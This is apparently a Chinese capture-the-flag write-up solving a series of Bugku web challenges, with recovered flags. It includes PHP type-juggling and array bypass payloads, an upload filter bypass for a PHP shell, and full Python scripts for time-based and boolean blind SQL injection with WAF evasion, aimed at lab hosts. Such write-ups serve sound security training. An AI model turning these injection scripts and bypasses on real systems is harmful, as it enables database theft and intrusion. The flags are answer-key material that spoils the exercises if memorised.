<p>分手了,糾結再三我沒有拉黑她,原因無它,放不下。 <p>終於那天,竟然真的等來了她的消息:“在嗎?” <p>我神色平靜,但顫抖的雙手卻顯示出我此刻的激動。“怎么了?有事要我幫忙?” <p>“怎么,沒事就不能聯系了嗎?”結尾處調皮表情,是多么的陌生和熟悉…… <p>“幫我看看這個...”說着,她發來一個<a class="link" href="code.txt" target="_blank">鏈接</a>。 <p>不忍心拂她的意就點開了鏈接,看着屏幕我的心久久不能平靜,往事一幕幕涌上心頭......
<p>。。。。。。 <p>“我到底做錯了什么,要給我看這個!” <p>“還記得你曾經說過。。。。。。。。” <h2>PHP是世界上最好的語言</h2>
</div>
</body>
</html>
根據提示點擊鏈接,得到php代碼
<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>
代碼審計發現需要滿足兩個條件:1. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])) ==》 TRUE
2. if($v1 != $v2 && md5($v1) == md5($v2)) ==》 TRUE
利用MD5特殊字符串和strcmp()函數不能不處理數組進行構造payload
?v1=QNKCDZO&v2=s1885207154a&v3[]=11
利用MD5和strcmp()函數不能不處理數組進行構造payload
?v1[]=13&v2[]=12&v3[]=11
get flag:
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
29. login1(SKCTF)
Topic Link:http://123.206.31.85:49163/
先去注冊一個用戶進行登陸看看頁面是否有特殊的信息顯示
注冊:
username: "123"
password: "aA123456"
登陸:
根據登陸顯示 and 題目提示SQL約束攻擊
構造payload:
注冊:
//username中空格數要大於uesrname字段值的設置值(空格數盡量多一些, 多余的部分將會被截斷),繞過注冊限制
username: "admin 0"
password: "aA123456"
登陸:
//真正成功存入數據庫中的是"admin " 原因username字段沒有設置unique字段限制,"admin"="admin+空格"導致繞過admin的限制
username: "admin "
password: "aA123456"
get flag:
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
30. 你從哪里來
Topic Link:http://123.206.87.240:9009/from.php
根據頁面提示,構造HTTP請求頭,添加Referer字段:Referer: https://www.google.com
抓包構造
get flag:
flag{bug-ku_ai_admin}
31.md5 collision(NUPT_CTF)
Topic Link:http://123.206.87.240:9009/md5.php
根據提示傳入參數a,但是顯示false,有題目可猜測MD5碰撞,嘗試構造payload
MD5碰撞列表
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
get flag:
flag{md5_collision_is_easy}
32. 程序員本地網站
Topic Link:http://123.206.87.240:8002/localhost/
根據提示從本地訪問,在HTTP請求頭里面加上字段 X-Forwarded-For: 127.0.0.1 或者 Client-Ip: 127.0.0.1
get flag:
flag{loc-al-h-o-st1}
33. 各種繞過
Topic Link:http://123.206.87.240:8002/web7/
代碼:
<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else
print 'sorry!'; } ?>
代碼審計需要滿足:1. $_GET['uname'] != $_POST['passwd']
2. sha1($_GET['uname']) === sha1($_POST['passwd']) //利用數組繞過
3. $_GET['id']=='margin')
利用sha1()不能處理數組進行構造payload
http://123.206.87.240:8002/web7/?uname[]=999&id=margin
POST:passwd[]=6666
get flag:
Flag: flag{HACK_45hhs_213sDD}
34. web8
考點:php偽協議
Topic Link:http://123.206.87.240:8002/web8/
頁面源碼
<?php extract($_GET); if (!empty($ac)) { $f = trim(file_get_contents($fn)); if ($ac === $f) { echo "<p>This is flag:" ." $flag</p>"; } else { echo "<p>sorry!</p>"; } } ?>
代碼審計發現需要滿足兩個條件:1. ac不能為空
2. $ac === $f
利用php偽協議:php://input 構造payload
http://123.206.87.240:8002/web8/?ac=123&fn=php://input
POST:123
get flag:
This is flag: flag{3cfb7a90fc0de31}
35. 細心
Topic Link:http://123.206.87.240:8002/web13/
利用御劍web掃描器進行網站的掃描
訪問 http://123.206.87.240:8002/web13/robots.txt 根據提示再訪問 http://123.206.87.240:8002/web13/resusl.php
根據提示管理員admin嘗試給x賦值為admin,意外得到flag
get flag:
flag(ctf_0098_lkji-s)
36.求getshell
考點:文件上傳
Topic Link:http://123.206.87.240:8002/web9/
根據提示需要上傳php馬,經過測試需要滿足一下幾個條件
1、文件名filename=*.php5
2、文件類型Content-Type: image/jpeg
3、數據包類型Content-Type: multipart/form-datA #大小寫繞過
get flag;
KEY{bb35dc123820e}
37. INSERT INTO注入
考點:HTTP頭部注入、WAF繞過
Topic Link:http://123.206.87.240:8002/web15/
代碼:
error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } $ip_arr = explode(',', $ip); return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql);
分析是HTTP頭部注入
1. 代碼0報錯:error_reporting(0) 所以不考慮報錯注入
2. 代碼只有IP回顯所以不考慮Boolean注入
3. 注入歸於時間注入
payload:
#-*- encoding: utf-8 -*-
import requests str_value="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*." url="http://123.206.87.240:8002/web15/" flag=""
#爆表名長度:14 #data = 11' and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) # #爆表名值:client_ip,flag #data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#爆字段長度:4 #data = 11' and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) # #爆字段值:flag #data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#爆字段內容長度:32 #data = 11' and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) # #爆字段內容:xxxxxxxxxxxxxxxxxxxxxxxx #data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
for i in range(1,33): for str1 in str_value: data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 0 end )) #" headers = {"x-forwarded-for":data} try: result = requests.get(url,headers=headers,timeout=4) except: flag += str1 print("flag:"+flag) break
print('End_Flag:' + flag)
get flag:
flag{cdbf14c9551d5be5612f7bb5d2827853}
38. 這是一個神奇的登陸框
地址:http://123.206.87.240:9001/sql/
對Username進行測試發現admin"會顯示錯誤信息,admin"#時顯示正常,猜測存在聯合注入
查詢字段數
admin" order by 1,2# False admin" order by 1,2,3# True
查詢數據庫
admin" union select databses(),2#
查詢表
admin" union select group_concat(table_name),2 from information_schema.tables where table_schema='bugkusql1'#
查詢flag1表字段
admin" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1' and table_schema='bugkusql1'#
查詢字段數據
admin" union select group_concat(flag1),2 from bugkusql1.flag1#
get flag:
flag{ed6b28e684817d9efcaf802979e57aea}
39. 多次
初始界面
測試發現可能存在注入
通過fuzz測試查看過濾了那些關鍵字
payload1
# 123.206.87.240:9004/1ndex.php?id=1' anandd length("sselectelect") --+ true # 123.206.87.240:9004/1ndex.php?id=1' anandd length("select") --+ false
在知道過濾了那些關鍵字之后,繼續測試發現存在布爾盲注
payload2
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1--+
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2--+
在已知存在布爾盲注的基礎上編寫 POC1
import requests url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (ascii(substr((selselectect database()),{_},1))>{__}) --+" #url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((selselectect group_concat(table_name separatoorr ':') from infoorrmation_schema.tables where table_schema=database()),{_},1))>{__}) --+" #url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((seselectlect group_concat(column_name separatoorr ':') from infoorrmation_schema.columns where table_name='flag1' anandd table_schema=database()),{_},1))>{__}) --+" #url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (selselectect ascii(substr((selselectect group_concat(flag1,':',address separatoorr '?') from flag1),{_},1))>{__}) --+" data = '' for i in range(1,100): min = 33 max = 126 while min<=max: mid = (max + min)//2 payload = url.format(_=i,__ = mid) r = requests.get(payload) if 'There is nothing.' in r.text: min = mid+1 else: max = mid-1 data += chr(min) print(data) print("done")
PS:此處的Waf可用雙寫關鍵字繞過
Run 數據庫:
Run 表:
Run 字段:
Run 字段 Value:
根據提示表flag1的flag1字段內容肯定不是真的flag,在表flag1的address字段中發現新的Hint
嘗試訪問./Once_More.php
手動測試又一次發現存在布爾盲注
payload3
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=1--+
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=2--+
手動測試發現過濾了union、substr
測試過程的記錄
在上面的基礎上編寫新的POC2
import requests #url = "http://123.206.87.240:9004/Once_More.php?id=1' and (ascii(mid((select database()),{_},1))>{__}) --+" #url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(table_name separator ':') from information_schema.tables where table_schema=database()),{_},1))>{__}) --+" #url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(column_name separator ':') from information_schema.columns where table_name='flag2' and table_schema=database()),{_},1))>{__}) --+" url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(flag2,':',address separator '?') from flag2),{_},1))>{__}) --+" data = '' for i in range(1,100): min = 33 max = 126 while min<=max: mid = (max + min)//2 payload = url.format(_=i,__ = mid) r = requests.get(payload) if 'Hello,I Am Here!' in r.text: min = mid+1 else: max = mid-1 data += chr(min) print(data) print("done")
PS:substr使用mid替換
Run 數據庫:
Run 表:
Run 字段:
Run 字段 Value:
更據提示 flag 為小寫
get flag:
flag{bugku-sql_6s-2i-4t-bug}
42. flag.php
地址:http://123.206.87.240:8002/flagphp/
點擊login確實沒反應,根據提示:hint 可能是一個變量,嘗試訪問 http://123.206.87.240:8002/flagphp/?hint= 得到網頁源碼正常信息
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php } $KEY='ISecer:www.isecer.com'; ?>
代碼審計發現需要滿足:1. $cookie = $_COOKIE['ISecer']的值必須是經過序列化之后的值
2. unserialize($cookie) === "$KEY" //此處的$key==null
利用BurpSuite抓包在http請求頭部添加cookie字段:ISecer=s:0:"";
get flag:
flag{unserialize_by_virink}
48. flag.php
地址:http://123.206.31.85:49168/
解題思路,請參考作者本篇文章:
CBC字節反轉攻擊 https://www.cnblogs.com/qftm/p/10595591.html
get flag:
SKCTF{CBC_wEB_cryptography_6646dfgdg6}
題目更新+ing